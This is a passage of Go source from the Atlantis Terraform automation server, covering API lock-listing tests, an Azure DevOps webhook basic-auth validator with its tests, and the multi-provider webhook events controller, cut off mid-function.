TestAPIController_ListLocks(t *testing.T) { ac, _, _ := setup(t) time := time.Now() expected := controllers.ListLocksResult{[]controllers.LockDetail{ { Name: "lock-id", ProjectName: "terraform", ProjectRepo: "owner/repo", ProjectRepoPath: "/path", PullID: 123, PullURL: "url", User: "jdoe", Workspace: "default", Time: time, }, }, } mockLock := models.ProjectLock{ Project: models.Project{ProjectName: "terraform", RepoFullName: "owner/repo", Path: "/path"}, Pull: models.PullRequest{Num: 123, URL: "url", Author: "lkysow"}, User: models.User{Username: "jdoe"}, Workspace: "default", Time: time, } mockLocks := map[string]models.ProjectLock{ "lock-id": mockLock, } ac.Locker.(*MockLocker).EXPECT().List().Return(mockLocks, nil) req, _ := http.NewRequest("GET", "", nil) w := httptest.NewRecorder() ac.ListLocks(w, req) response, _ := io.ReadAll(w.Result().Body) var result controllers.ListLocksResult err := json.Unmarshal(response, &result) Ok(t, err) Equals(t, expected, result) } func TestAPIController_ListLocksEmpty(t *testing.T) { ac, _, _ := setup(t) expected := controllers.ListLocksResult{} mockLocks := map[string]models.ProjectLock{} ac.Locker.(*MockLocker).EXPECT().List().Return(mockLocks, nil) req, _ := http.NewRequest("GET", "", nil) w := httptest.NewRecorder() ac.ListLocks(w, req) response, _ := io.ReadAll(w.Result().Body) var result controllers.ListLocksResult err := json.Unmarshal(response, &result) Ok(t, err) Equals(t, expected, result) } func setup(t *testing.T) (controllers.APIController, *MockProjectCommandBuilder, *MockProjectCommandRunner) { RegisterMockTestingT(t) gmockCtrl := gomock.NewController(t) locker := NewMockLocker(gmockCtrl) // Allow incidental calls to UnlockByPull (called internally during plan/apply operations) locker.EXPECT().UnlockByPull(gomock.Any(), gomock.Any()).Return(nil, nil).AnyTimes() logger := logging.NewNoopLogger(t) parser := NewMockEventParsing() repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") scope := metricstest.NewLoggingScope(t, logger, "null") vcsClient := NewMockClient() workingDir := NewMockWorkingDir() Ok(t, err) workingDirLocker := NewMockWorkingDirLocker() When(workingDirLocker.TryLock(Any[string](), Any[int](), Eq(events.DefaultWorkspace), Eq(events.DefaultRepoRelDir), Eq(""), Any[command.Name]())). ThenReturn(func() {}, nil) projectCommandBuilder := NewMockProjectCommandBuilder() When(projectCommandBuilder.BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())). ThenReturn([]command.ProjectContext{{ CommandName: command.Plan, }}, nil) When(projectCommandBuilder.BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())). ThenReturn([]command.ProjectContext{{ CommandName: command.Apply, }}, nil) projectCommandRunner := NewMockProjectCommandRunner() When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }) When(projectCommandRunner.Apply(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{ ApplySuccess: "success", }) preWorkflowHooksCommandRunner := NewMockPreWorkflowHooksCommandRunner() When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) postWorkflowHooksCommandRunner := NewMockPostWorkflowHooksCommandRunner() When(postWorkflowHooksCommandRunner.RunPostHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) commitStatusUpdater := NewMockCommitStatusUpdater() When(commitStatusUpdater.UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name]())).ThenReturn(nil) ac := controllers.APIController{ APISecret: []byte(atlantisToken), Locker: locker, Logger: logger, Scope: scope, Parser: parser, ProjectCommandBuilder: projectCommandBuilder, ProjectPlanCommandRunner: projectCommandRunner, ProjectApplyCommandRunner: projectCommandRunner, PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, VCSClient: vcsClient, RepoAllowlistChecker: repoAllowlistChecker, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, CommitStatusUpdater: commitStatusUpdater, } return ac, projectCommandBuilder, projectCommandRunner } ================================================ FILE: server/controllers/events/azuredevops_request_validator.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "io" "net/http" "github.com/drmaxgit/go-azuredevops/azuredevops" ) //go:generate pegomock generate --package mocks -o mocks/mock_azuredevops_request_validator.go AzureDevopsRequestValidator // AzureDevopsRequestValidator handles checking if Azure DevOps requests // contain a valid Basic authentication username and password. type AzureDevopsRequestValidator interface { // Validate returns the JSON payload of the request. // If both username and password values have a length greater than zero, // it checks that the credentials match those configured in Atlantis. // If either username or password have a length of zero, the payload is // returned without further checking. Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) } // DefaultAzureDevopsRequestValidator handles checking if Azure DevOps // requests contain the correct Basic auth username and password. type DefaultAzureDevopsRequestValidator struct{} // Validate returns the JSON payload of the request. // If secret is not empty, it checks that the request was signed // by secret and returns an error if it was not. // If secret is empty, it does not check if the request was signed. func (d *DefaultAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) { if len(user) != 0 && len(pass) != 0 { return d.validateWithBasicAuth(r, user, pass) } return d.validateWithoutBasicAuth(r) } func (d *DefaultAzureDevopsRequestValidator) validateWithBasicAuth(r *http.Request, user []byte, pass []byte) ([]byte, error) { payload, err := azuredevops.ValidatePayload(r, user, pass) if err != nil { return nil, err } return payload, nil } func (d *DefaultAzureDevopsRequestValidator) validateWithoutBasicAuth(r *http.Request) ([]byte, error) { ct := r.Header.Get("Content-Type") if ct == "application/json" || ct == "application/json; charset=utf-8" { payload, err := io.ReadAll(r.Body) if err != nil { return nil, fmt.Errorf("could not read body: %s", err) } return payload, nil } return nil, fmt.Errorf("webhook request has unsupported Content-Type %q", ct) } ================================================ FILE: server/controllers/events/azuredevops_request_validator_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "bytes" "net/http" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/controllers/events" . "github.com/runatlantis/atlantis/testing" ) func TestAzureDevopsValidate_WithBasicAuthErr(t *testing.T) { t.Log("if the request does not have a valid basic auth user and password there is an error") RegisterMockTestingT(t) g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Authorization", "Basic dXNlcjpwYXNz") // user:pass req.Header.Set("Content-Type", "application/json") _, err = g.Validate(req, []byte("user"), []byte("wrongpass")) Assert(t, err != nil, "error should not be nil") Equals(t, "ValidatePayload authentication failed", err.Error()) } func TestAzureDevopsValidate_WithBasicAuth(t *testing.T) { t.Log("if the request has a valid basic auth user and password the payload is returned") RegisterMockTestingT(t) g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Authorization", "Basic dXNlcjpwYXNz") // user:pass req.Header.Set("Content-Type", "application/json") bs, err := g.Validate(req, []byte("user"), []byte("pass")) Ok(t, err) Equals(t, `{"yo":true}`, string(bs)) } func TestAzureDevopsValidate_WithoutSecretInvalidContentType(t *testing.T) { t.Log("if the request has an invalid content type an error is returned") RegisterMockTestingT(t) g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Content-Type", "invalid") _, err = g.Validate(req, nil, nil) Assert(t, err != nil, "error should not be nil") Equals(t, "webhook request has unsupported Content-Type \"invalid\"", err.Error()) } func TestAzureDevopsValidate_WithoutSecretJSON(t *testing.T) { t.Log("if the request is JSON the body is returned") RegisterMockTestingT(t) g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) req.Header.Set("Content-Type", "application/json") bs, err := g.Validate(req, nil, nil) Ok(t, err) Equals(t, `{"yo":true}`, string(bs)) } ================================================ FILE: server/controllers/events/events_controller.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "encoding/json" "errors" "fmt" "html" "io" "net/http" "slices" "strconv" "strings" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/google/go-github/v83/github" "github.com/microcosm-cc/bluemonday" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/events/vcs/gitea" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" gitlab "gitlab.com/gitlab-org/api/client-go" ) const githubHeader = "X-Github-Event" const gitlabHeader = "X-Gitlab-Event" const azuredevopsHeader = "Request-Id" const giteaHeader = "X-Gitea-Event" const giteaEventTypeHeader = "X-Gitea-Event-Type" const giteaSignatureHeader = "X-Gitea-Signature" const giteaRequestIDHeader = "X-Gitea-Delivery" // bitbucketEventTypeHeader is the same in both cloud and server. const bitbucketEventTypeHeader = "X-Event-Key" const bitbucketCloudRequestIDHeader = "X-Request-UUID" const bitbucketServerRequestIDHeader = "X-Request-ID" const bitbucketSignatureHeader = "X-Hub-Signature" // The URL used for Azure DevOps test webhooks const azuredevopsTestURL = "https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079" // VCSEventsController handles all webhook requests which signify 'events' in the // VCS host, ex. GitHub. type VCSEventsController struct { CommandRunner events.CommandRunner `validate:"required"` PullCleaner events.PullCleaner `validate:"required"` Logger logging.SimpleLogging `validate:"required"` Scope tally.Scope `validate:"required"` Parser events.EventParsing `validate:"required"` CommentParser events.CommentParsing `validate:"required"` ApplyDisabled bool EmojiReaction string ExecutableName string // GithubWebhookSecret is the secret added to this webhook via the GitHub // UI that identifies this call as coming from GitHub. If empty, no // request validation is done. GithubWebhookSecret []byte GithubRequestValidator GithubRequestValidator `validate:"required"` GitlabRequestParserValidator GitlabRequestParserValidator `validate:"required"` // GitlabWebhookSecret is the secret added to this webhook via the GitLab // UI that identifies this call as coming from GitLab. If empty, no // request validation is done. GitlabWebhookSecret []byte RepoAllowlistChecker *events.RepoAllowlistChecker `validate:"required"` // SilenceAllowlistErrors controls whether we write an error comment on // pull requests from non-allowlisted repos. SilenceAllowlistErrors bool // SupportedVCSHosts is which VCS hosts Atlantis was configured upon // startup to support. SupportedVCSHosts []models.VCSHostType `validate:"required"` VCSClient vcs.Client `validate:"required"` TestingMode bool // BitbucketWebhookSecret is the secret added to this webhook via the Bitbucket // UI that identifies this call as coming from Bitbucket. If empty, no // request validation is done. BitbucketWebhookSecret []byte // AzureDevopsWebhookUser is the Basic authentication username added to this // webhook via the Azure DevOps UI that identifies this call as coming from your // Azure DevOps Team Project. If empty, no request validation is done. // For more information, see https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops AzureDevopsWebhookBasicUser []byte // AzureDevopsWebhookPassword is the Basic authentication password added to this // webhook via the Azure DevOps UI that identifies this call as coming from your // Azure DevOps Team Project. If empty, no request validation is done. AzureDevopsWebhookBasicPassword []byte AzureDevopsRequestValidator AzureDevopsRequestValidator `validate:"required"` GiteaWebhookSecret []byte } // Post handles POST webhook requests. func (e *VCSEventsController) Post(w http.ResponseWriter, r *http.Request) { if r.Header.Get(giteaHeader) != "" { if !e.supportsHost(models.Gitea) { e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Gitea") return } e.Logger.Debug("handling Gitea post") e.handleGiteaPost(w, r) return } else if r.Header.Get(githubHeader) != "" { if !e.supportsHost(models.Github) { e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support GitHub") return } e.Logger.Debug("handling GitHub post") e.handleGithubPost(w, r) return } else if r.Header.Get(gitlabHeader) != "" { if !e.supportsHost(models.Gitlab) { e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support GitLab") return } e.Logger.Debug("handling GitLab post") e.handleGitlabPost(w, r) return } else if r.Header.Get(bitbucketEventTypeHeader) != "" { // Bitbucket Cloud and Server use the same event type header but they // use different request ID headers. if r.Header.Get(bitbucketCloudRequestIDHeader) != "" { if !e.supportsHost(models.BitbucketCloud) { e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Bitbucket Cloud") return } e.Logger.Debug("handling Bitbucket Cloud post") e.handleBitbucketCloudPost(w, r) return } else if r.Header.Get(bitbucketServerRequestIDHeader) != "" { if !e.supportsHost(models.BitbucketServer) { e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Bitbucket Server") return } e.Logger.Debug("handling Bitbucket Server post") e.handleBitbucketServerPost(w, r) return } } else if r.Header.Get(azuredevopsHeader) != "" { if !e.supportsHost(models.AzureDevops) { e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support AzureDevops") return } e.Logger.Debug("handling AzureDevops post") e.handleAzureDevopsPost(w, r) return } e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request") } type HTTPError struct { err error code int isSilenced bool } type HTTPResponse struct { body string err HTTPError } func (e *VCSEventsController) handleGithubPost(w http.ResponseWriter, r *http.Request) { // Validate the request against the optional webhook secret. payload, err := e.GithubRequestValidator.Validate(r, e.GithubWebhookSecret) if err != nil { e.respond(w, logging.Warn, http.StatusBadRequest, "%s", err.Error()) return } githubReqID := "X-Github-Delivery=" + html.EscapeString(r.Header.Get("X-Github-Delivery")) logger := e.Logger.With("gh-request-id", githubReqID) scope := e.Scope.SubScope("github_event") logger.Debug("request valid") event, _ := github.ParseWebHook(github.WebHookType(r), payload) var resp HTTPResponse switch event := event.(type) { case *github.IssueCommentEvent: resp = e.HandleGithubCommentEvent(event, githubReqID, logger) scope = scope.SubScope(fmt.Sprintf("comment_%s", *event.Action)) scope = common.SetGitScopeTags(scope, event.GetRepo().GetFullName(), event.GetIssue().GetNumber()) case *github.PullRequestEvent: resp = e.HandleGithubPullRequestEvent(logger, event, githubReqID) scope = scope.SubScope(fmt.Sprintf("pr_%s", *event.Action)) scope = common.SetGitScopeTags(scope, event.GetRepo().GetFullName(), event.GetNumber()) default: resp = HTTPResponse{ body: fmt.Sprintf("Ignoring unsupported event %s", githubReqID), } } if resp.err.code != 0 { if !resp.err.isSilenced { logger.Err("error handling gh post code: %d err: %s", resp.err.code, resp.err.err.Error()) } scope.Counter(fmt.Sprintf("error_%d", resp.err.code)).Inc(1) w.WriteHeader(resp.err.code) fmt.Fprintln(w, resp.err.err.Error()) return } scope.Counter(fmt.Sprintf("success_%d", http.StatusOK)).Inc(1) w.WriteHeader(http.StatusOK) fmt.Fprintln(w, resp.body) } func (e *VCSEventsController) handleBitbucketCloudPost(w http.ResponseWriter, r *http.Request) { eventType := r.Header.Get(bitbucketEventTypeHeader) reqID := r.Header.Get(bitbucketCloudRequestIDHeader) sig := r.Header.Get(bitbucketSignatureHeader) defer r.Body.Close() // nolint: errcheck body, err := io.ReadAll(r.Body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) return } if len(e.BitbucketWebhookSecret) > 0 { if err := common.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil { e.respond(w, logging.Warn, http.StatusBadRequest, "%s", fmt.Errorf("request did not pass validation: %w", err).Error()) return } } switch eventType { case bitbucketcloud.PullCreatedHeader, bitbucketcloud.PullUpdatedHeader, bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader: e.Logger.Debug("handling as pull request state changed event") e.handleBitbucketCloudPullRequestEvent(e.Logger, w, eventType, body, reqID) return case bitbucketcloud.PullCommentCreatedHeader: e.Logger.Debug("handling as comment created event") e.HandleBitbucketCloudCommentEvent(w, body, reqID) return default: e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event type %s %s=%s", eventType, bitbucketCloudRequestIDHeader, reqID) } } func (e *VCSEventsController) handleBitbucketServerPost(w http.ResponseWriter, r *http.Request) { eventType := r.Header.Get(bitbucketEventTypeHeader) reqID := r.Header.Get(bitbucketServerRequestIDHeader) sig := r.Header.Get(bitbucketSignatureHeader) defer r.Body.Close() // nolint: errcheck body, err := io.ReadAll(r.Body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, bitbucketServerRequestIDHeader, reqID) return } if eventType == bitbucketserver.DiagnosticsPingHeader { // Specially handle the diagnostics:ping event because Bitbucket Server // doesn't send the signature with this event for some reason. e.respond(w, logging.Info, http.StatusOK, "Successfully received %s event %s=%s", eventType, bitbucketServerRequestIDHeader, reqID) return } if len(e.BitbucketWebhookSecret) > 0 { if err := common.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil { e.respond(w, logging.Warn, http.StatusBadRequest, "%s", fmt.Errorf("request did not pass validation: %w", err).Error()) return } } switch eventType { case bitbucketserver.PullCreatedHeader, bitbucketserver.PullFromRefUpdatedHeader, bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader: e.Logger.Debug("handling as pull request state changed event") e.handleBitbucketServerPullRequestEvent(e.Logger, w, eventType, body, reqID) return case bitbucketserver.PullCommentCreatedHeader: e.Logger.Debug("handling as comment created event") e.HandleBitbucketServerCommentEvent(w, body, reqID) return default: e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event type %s %s=%s", eventType, bitbucketServerRequestIDHeader, reqID) } } func (e *VCSEventsController) handleAzureDevopsPost(w http.ResponseWriter, r *http.Request) { // Validate the request against the optional basic auth username and password. payload, err := e.AzureDevopsRequestValidator.Validate(r, e.AzureDevopsWebhookBasicUser, e.AzureDevopsWebhookBasicPassword) if err != nil { e.respond(w, logging.Warn, http.StatusUnauthorized, "%s", err.Error()) return } e.Logger.Debug("request valid") azuredevopsReqID := "Request-Id=" + r.Header.Get("Request-Id") event, err := azuredevops.ParseWebHook(payload) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Failed parsing webhook: %v %s", err, azuredevopsReqID) return } switch event.PayloadType { case azuredevops.PullRequestCommentedEvent: e.Logger.Debug("handling as pull request commented event") e.HandleAzureDevopsPullRequestCommentedEvent(w, event, azuredevopsReqID) case azuredevops.PullRequestEvent: e.Logger.Debug("handling as pull request event") e.HandleAzureDevopsPullRequestEvent(w, event, azuredevopsReqID) default: e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event: %v %s", event.PayloadType, azuredevopsReqID) } } func (e *VCSEventsController) handleGiteaPost(w http.ResponseWriter, r *http.Request) { signature := r.Header.Get(giteaSignatureHeader) eventType := r.Header.Get(giteaEventTypeHeader) reqID := r.Header.Get(giteaRequestIDHeader) defer r.Body.Close() // Ensure the request body is closed body, err := io.ReadAll(r.Body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, "X-Gitea-Delivery", reqID) return } if len(e.GiteaWebhookSecret) > 0 { if err := gitea.ValidateSignature(body, signature, e.GiteaWebhookSecret); err != nil { e.respond(w, logging.Warn, http.StatusBadRequest, "%s", fmt.Errorf("request did not pass validation: %w", err).Error()) return } } logger := e.Logger.With("gitea-request-id", reqID) // Log the event type for debugging purposes logger.Debug("Received Gitea event %s with ID %s", eventType, reqID) // Depending on the event type, handle the event appropriately switch eventType { case "pull_request_comment": e.HandleGiteaPullRequestCommentEvent(w, body, reqID) case "pull_request": logger.Debug("Handling as pull_request") e.handleGiteaPullRequestEvent(logger, w, body, reqID) // Add other case handlers as necessary default: e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported Gitea event type: %s %s=%s", eventType, "X-Gitea-Delivery", reqID) } } func (e *VCSEventsController) handleGiteaPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, body []byte, reqID string) { logger.Debug("Entering handleGiteaPullRequestEvent") // Attempt to unmarshal the incoming body into the Gitea PullRequest struct var payload gitea.GiteaWebhookPayload if err := json.Unmarshal(body, &payload); err != nil { e.Logger.Err("Failed to unmarshal Gitea webhook payload: %v", err) e.respond(w, logging.Error, http.StatusBadRequest, "Failed to parse request body: %s %s=%s", err, giteaRequestIDHeader, reqID) return } logger.Debug("Successfully unmarshaled Gitea event") // Use the parser function to convert into Atlantis models pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGiteaPullRequestEvent(payload.PullRequest) if err != nil { e.Logger.Err("Failed to parse Gitea pull request event: %v", err) e.respond(w, logging.Error, http.StatusInternalServerError, "Failed to process event") return } logger.Debug("Parsed Gitea event into Atlantis models successfully") // Annotate logger with repo and pull/merge request number. logger = logger.With( "repo", baseRepo.FullName, "pull", strconv.Itoa(pull.Num), ) logger.Info("Handling Gitea Pull Request '%s' event", pullEventType.String()) response := e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType) e.respond(w, logging.Debug, http.StatusOK, "%s", response.body) } // HandleGiteaPullRequestCommentEvent handles comment events from Gitea where Atlantis commands can come from. func (e *VCSEventsController) HandleGiteaPullRequestCommentEvent(w http.ResponseWriter, body []byte, reqID string) { var event gitea.GiteaIssueCommentPayload if err := json.Unmarshal(body, &event); err != nil { e.Logger.Err("Failed to unmarshal Gitea comment payload: %v", err) e.respond(w, logging.Error, http.StatusBadRequest, "Failed to parse request body") return } e.Logger.Debug("Successfully unmarshaled Gitea comment event") baseRepo, user, pullNum, _ := e.Parser.ParseGiteaIssueCommentEvent(event) // Since we're lacking headRepo and maybePull details, we'll pass nil // This follows the same approach as the GitHub client for handling comment events without full PR details response := e.handleCommentEvent(e.Logger, baseRepo, nil, nil, user, pullNum, event.Comment.Body, event.Comment.ID, models.Gitea) e.respond(w, logging.Debug, http.StatusOK, "%s", response.body) } // HandleGithubCommentEvent handles comment events from GitHub where Atlantis // commands can come from. It's exported to make testing easier. func (e *VCSEventsController) HandleGithubCommentEvent(event *github.IssueCommentEvent, githubReqID string, logger logging.SimpleLogging) HTTPResponse { if event.GetAction() != "created" { return HTTPResponse{ body: fmt.Sprintf("Ignoring comment event since action was not created %s", githubReqID), } } baseRepo, user, pullNum, err := e.Parser.ParseGithubIssueCommentEvent(logger, event) if err != nil { wrapped := fmt.Errorf("parsing event: %s: %w", githubReqID, err) return HTTPResponse{ body: wrapped.Error(), err: HTTPError{ code: http.StatusBadRequest, err: wrapped, isSilenced: false, }, } } comment := event.GetComment() // We pass in nil for maybeHeadRepo because the head repo data isn't // available in the GithubIssueComment event. return e.handleCommentEvent(logger, baseRepo, nil, nil, user, pullNum, comment.GetBody(), comment.GetID(), models.Github) } // HandleBitbucketCloudCommentEvent handles comment events from Bitbucket. func (e *VCSEventsController) HandleBitbucketCloudCommentEvent(w http.ResponseWriter, body []byte, reqID string) { pull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketCloudPullCommentEvent(body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) return } resp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, &pull, user, pull.Num, comment, -1, models.BitbucketCloud) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } // HandleBitbucketServerCommentEvent handles comment events from Bitbucket. func (e *VCSEventsController) HandleBitbucketServerCommentEvent(w http.ResponseWriter, body []byte, reqID string) { pull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketServerPullCommentEvent(body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) return } resp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, &pull, user, pull.Num, comment, -1, models.BitbucketCloud) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } func (e *VCSEventsController) handleBitbucketCloudPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, eventType string, body []byte, reqID string) { pull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketCloudPullEvent(body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) return } e.Logger.Debug("SHA is %q", pull.HeadCommit) pullEventType := e.Parser.GetBitbucketCloudPullEventType(eventType, pull.HeadCommit, pull.URL) // Annotate logger with repo and pull/merge request number. logger = logger.With( "repo", baseRepo.FullName, "pull", strconv.Itoa(pull.Num), ) logger.Info("Handling Bitbucket Cloud Pull Request '%s' event", pullEventType.String()) resp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } func (e *VCSEventsController) handleBitbucketServerPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, eventType string, body []byte, reqID string) { pull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketServerPullEvent(body) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketServerRequestIDHeader, reqID) return } pullEventType := e.Parser.GetBitbucketServerPullEventType(eventType) // Annotate logger with repo and pull/merge request number. logger = logger.With( "repo", baseRepo.FullName, "pull", strconv.Itoa(pull.Num), ) logger.Info("Handling Bitbucket Server Pull Request '%s' event", pullEventType.String()) resp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } // HandleGithubPullRequestEvent will delete any locks associated with the pull // request if the event is a pull request closed event. It's exported to make // testing easier. func (e *VCSEventsController) HandleGithubPullRequestEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent, githubReqID string) HTTPResponse { pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGithubPullEvent(logger, pullEvent) if err != nil { wrapped := fmt.Errorf("parsing pull data: %s %s: %w", err, githubReqID, err) return HTTPResponse{ body: wrapped.Error(), err: HTTPError{ code: http.StatusBadRequest, err: wrapped, isSilenced: false, }, } } // Annotate logger with repo and pull/merge request number. logger = logger.With( "repo", baseRepo.FullName, "pull", strconv.Itoa(pull.Num), ) logger.Info("Handling GitHub Pull Request '%s' event", pullEventType.String()) return e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType) } func (e *VCSEventsController) handlePullRequestEvent(logger logging.SimpleLogging, baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User, eventType models.PullRequestEventType) HTTPResponse { if !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { // If the repo isn't allowlisted and we receive an opened pull request // event we comment back on the pull request that the repo isn't // allowlisted. This is because the user might be expecting Atlantis to // autoplan. For other events, we just ignore them. if eventType == models.OpenedPullEvent { e.commentNotAllowlisted(baseRepo, pull.Num) } err := fmt.Errorf("pull request event from non-allowlisted repo '%s/%s'", baseRepo.VCSHost.Hostname, baseRepo.FullName) return HTTPResponse{ body: err.Error(), err: HTTPError{ code: http.StatusForbidden, err: err, isSilenced: e.SilenceAllowlistErrors, }, } } switch eventType { case models.OpenedPullEvent, models.UpdatedPullEvent: // If the pull request was opened or updated, we will try to autoplan. // Respond with success and then actually execute the command asynchronously. // We use a goroutine so that this function returns and the connection is // closed. if !e.TestingMode { go e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user) } else { // When testing we want to wait for everything to complete. e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user) } return HTTPResponse{ body: "Processing...", } case models.ClosedPullEvent: // If the pull request was closed, we delete locks. logger.Info("Pull request closed, cleaning up...") if err := e.PullCleaner.CleanUpPull(logger, baseRepo, pull); err != nil { return HTTPResponse{ body: err.Error(), err: HTTPError{ code: http.StatusForbidden, err: err, isSilenced: false, }, } } logger.Info("Locks and workspace successfully deleted") return HTTPResponse{ body: "Pull request cleaned successfully", } case models.OtherPullEvent: // Else we ignore the event. return HTTPResponse{ body: "Ignoring non-actionable pull request event", } } return HTTPResponse{} } func (e *VCSEventsController) handleGitlabPost(w http.ResponseWriter, r *http.Request) { event, err := e.GitlabRequestParserValidator.ParseAndValidate(r, e.GitlabWebhookSecret) if err != nil { e.respond(w, logging.Warn, http.StatusBadRequest, "%s", err.Error()) return } e.Logger.Debug("request valid") switch event := event.(type) { case gitlab.MergeCommentEvent: e.Logger.Debug("handling as comment event") e.HandleGitlabCommentEvent(w, event) case gitlab.MergeEvent: e.HandleGitlabMergeRequestEvent(e.Logger, w, event) case 